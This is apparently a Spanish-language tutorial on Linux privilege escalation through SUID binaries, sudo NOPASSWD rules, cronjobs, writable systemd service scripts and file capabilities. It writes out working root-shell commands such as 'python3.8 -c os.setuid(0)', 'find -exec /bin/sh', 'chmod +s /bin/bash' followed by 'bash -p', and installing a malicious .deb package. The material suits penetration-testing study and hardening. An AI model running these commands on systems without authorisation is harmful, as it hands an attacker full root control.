Escalada de Privilegios

1.SUID Binaries (binarios con SUID bit)

¿Qué es el SUID?

```
SUID (Set User ID) es un bit especial que puede asignarse a archivos ejecutables en sistemas Unix/Linux.

Cuando un archivo tiene el bit SUID activado, se ejecuta con los privilegios del propietario del archivo, no con los del usuario que lo ejecuta.

Generalmente, el caso más crítico es cuando un archivo tiene el SUID activado y es propiedad del usuario root, porque cualquier usuario que lo ejecute lo hará con privilegios de superusuario.
```

Ejemplo de archivo con SUID:

```
ls -l /usr/bin/passwd
```

`-rwsr-xr-x` 1 root root 54256 Feb 1 12:00 /usr/bin/passwd

La s en -rwsr-xr-x indica que el bit SUID está activado.

SUID en Escalada de Privilegios

Se buscan binarios con SUID para ver si pueden ser explotados para obtener acceso elevado.

```
find / -perm -4000 -type f 2>/dev/null
```

Si un binario SUID es ejecutable por cualquier usuario y es vulnerable (ej: `nmap`, `bash`, `python`), puedes escalar a **root**.

Revisar binarios SUID comunes que pueden ser explotables

Algunos binarios comunes con SUID pueden ser abusados si no están correctamente configurados o si permiten ejecutar comandos arbitrarios. Algunos ejemplos incluyen:

Binario	Riesgo de abuso	Técnica
`vim`, `nano`	Puede abrir un shell	`:!sh`
`find`	Ejecuta comandos con `-exec`	`find . -exec /bin/sh \;`
`python`, `perl`	Ejecutar shell directamente	`python -c 'import os; os.system("/bin/sh")'`
`tar`, `cp`, `awk`, `bash`	Comandos conocidos por permitir ejecución de comandos	Usar funciones específicas para ejecutar `/bin/sh`

Ejemplo típico:

```
/usr/bin/bash -p
```

Ejemplo de explotación real

Supón que encuentras esto:

```

-rwsr-xr-x 1 root root 118344 /usr/bin/python3.8
```

Puedes ejecutar:

```
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Y tendrás una shell como root.

2.Sudo sin contraseña sudo -l (`NOPASSWD`)

`sudo` permite a usuarios ejecutar comandos como otro usuario (normalmente root), pero generalmente requiere autenticación con contraseña.

- Cuando se configura `NOPASSWD` en `/etc/sudoers`, el usuario puede ejecutar ciertos comandos **sin necesidad de introducir su contraseña**.
- Esto puede ser una **puerta abierta a la escalada de privilegios**, dependiendo de los comandos que pueda ejecutar.

Si puedes ejecutar comandos como root sin contraseña:

¿Cómo identificarlo?
Como pentester o atacante, lo primero que debes hacer es verificar qué puedes ejecutar con `sudo`:

```
sudo -l
```

Ejemplo de salida vulnerable:

```
User hacker may run the following commands on this host:
    (ALL) NOPASSWD: /usr/bin/vim
```

En este caso, el usuario puede ejecutar `vim` como root **sin contraseña**, lo que puede derivar en una shell privilegiada.

Si ves algo como:

```
(ALL) NOPASSWD: /usr/bin/vim
```

La clave está en **qué comandos puede ejecutar** el usuario con `sudo`.
Muchos comandos conocidos permiten ejecutar otros comandos arbitrarios desde dentro (¡como obtener una shell!).

Ejemplos de escalada

Comando permitido	Técnica de escalada	Resultado
`sudo /bin/bash`	Ya estás en root	Shell de root
`sudo /usr/bin/vim`	Ejecuta `:!bash` o `:shell`	Shell de root
`sudo python`	`import os; os.system("/bin/bash")`	Shell de root
`sudo less`	Escribir `!sh` dentro	Shell de root
`sudo find`	`sudo find . -exec /bin/sh \;`	Shell de root

Aun si no parece útil...

A veces verás comandos menos directos como:

```
(ALL) NOPASSWD: /usr/bin/apt-get
```

Se puede abusar así:

```
sudo apt-get update
sudo apt-get install -y some-package
```

O incluso más directo:

```
sudo apt-get install -y /tmp/fake_package.deb
```

Subiendo un paquete `.deb` con postinstalación maliciosa.

3.Tareas programadas (cronjobs)

Qué es un cronjob?

Un **cronjob** es una tarea programada que se ejecuta automáticamente en intervalos definidos (cada minuto, hora, día, etc.). Los cronjobs suelen ejecutarse con los privilegios del **usuario que los creó**, y si el cronjob es del usuario `root`, **su contenido se ejecuta como root**.

¿Cómo se puede abusar para escalar privilegios?

La clave está en encontrar **cronjobs ejecutados como root** que:

1. Ejecutan **scripts o binarios en ubicaciones editables por usuarios normales**.
2. Usan **archivos temporales o directorios sin protección**.
3. Tienen **comandos mal configurados** que permiten inyecciones.

¿Cómo encontrarlos?

Puedes revisar cronjobs del sistema con:

```
 #Cronjobs del sistema

cat /etc/crontab
ls -la /etc/cron.*
```

```
 #Cronjobs de usuarios

crontab -l
```

También puedes buscar con herramientas automáticas como **LinPEAS** o **Les.sh**.

4.Escalada de privilegios: Servicios mal configurados (Systemd, init.d)

Esta técnica se basa en abusar de **servicios del sistema (daemons)** que se ejecutan automáticamente **con privilegios elevados (generalmente como `root`)**, pero cuya configuración o archivos relacionados **pueden ser modificados por usuarios no privilegiados**.

¿Qué es un servicio en Linux?

Un **servicio** es un proceso que se ejecuta en segundo plano y se administra con herramientas como:

- `systemctl` (Systemd)
- `/etc/init.d/` scripts (SysVinit)
- `service` (interfaz común entre ambos)

La mayoría de los servicios del sistema (como `nginx`, `sshd`, `mysql`) se ejecutan como **root**, especialmente al arrancar

¿Dónde está el problema?

Si el archivo que el servicio ejecuta (script o binario) **puede ser modificado** por un usuario normal, entonces ese usuario puede **inyectar código malicioso** que será ejecutado con privilegios elevados cuando se reinicie el servicio

¿Cómo encontrar servicios mal configurados?

1.Ver servicios instalados

```
systemctl list-units --type=service
```

2.Ver detalles de un servicio sospechoso

```
systemctl cat nombre-del-servicio
 #o
cat /etc/systemd/system/nombre-del-servicio.service
```

Busca líneas como:

```
ExecStart=/home/user/scripts/start.sh
```

Si ese archivo o ruta es **escribible** por un usuario no privilegiado, puede ser **explotado**.

```
-rwxrwxrwx 1 user user 1000 May 24 18:00 /home/user/scripts/start.sh
```

Ejemplo real de explotación
Servicio vulnerable:

```
[Unit]
Description=Servicio vulnerable

[Service]
ExecStart=/home/hacker/runme.sh
Restart=always

[Install]
WantedBy=multi-user.target
```

Ataque:
El usuario `hacker` edita `/home/hacker/runme.sh`:

```
#!/bin/bash
chmod +s /bin/bash
```

Luego reinicia el servicio (si tiene permisos):

```
sudo systemctl restart vulnerable.service
```

Cuando el script se ejecuta como root, el `chmod +s /bin/bash` le da **SUID a bash**, y el atacante ahora puede hacer:

```
bash -p
```

Y obtener una **shell como root**.

5.Capabilities mal configuradas

¿Qué son las *Linux Capabilities*?

En lugar de darle a un proceso **todos los privilegios de `root`**, Linux puede asignar **capacidades individuales** (capabilities) a binarios. Estas capacidades son como "permisos especiales" que permiten a un programa hacer ciertas cosas normalmente reservadas al usuario root.

Por ejemplo:

- `CAP_NET_RAW` → Permite usar paquetes RAW (crear sniffer o herramientas como `ping`)
- `CAP_SETUID` → Permite cambiar de usuario (como `setuid`)
- `CAP_DAC_OVERRIDE` → Permite ignorar permisos de acceso (leer archivos ajenos)
- `CAP_SYS_MODULE` → Permite cargar módulos del kernel (muy peligroso)

¿Cómo se ven en el sistema?

Puedes ver si un archivo tiene capabilities asignadas con:

```
getcap -r / 2>/dev/null
```

Ejemplo de salida:

```
/usr/bin/python3.8 = cap_setuid+ep
```

Esto significa que ese binario puede **cambiar su UID** como si fuera un binario con `setuid`

¿Dónde está el riesgo?

Si un binario **no privilegiado** (por ejemplo, uno en `/home/user/`) tiene capabilities peligrosas y es **escribible/modificable por usuarios normales**, se puede modificar el binario o abusar de su comportamiento para **escalar privilegios**.

Ejemplo de explotación

Supón que tienes esto:

```
getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid+ep
```

Eso te permite cambiar tu UID. Puedes ejecutar:

```
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Y tienes una shell como **root**, sin necesidad de `sudo` ni `SUID`.

Otras capabilities peligrosas

Capability	**Abuso común**
`cap_sys_admin`	Permite montar dispositivos, cambiar el hostname
`cap_dac_read_search`	Leer cualquier archivo (como `/etc/shadow`)
`cap_chown`, `cap_fowner`	Cambiar propietario de archivos

Puedes consultar todas las capabilities con:

```
man 7 capabilities
```